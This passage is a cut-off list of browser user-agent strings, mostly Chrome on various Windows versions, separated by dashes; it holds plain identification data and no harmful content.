AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.0 Safari/537.13 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 -Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 -Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 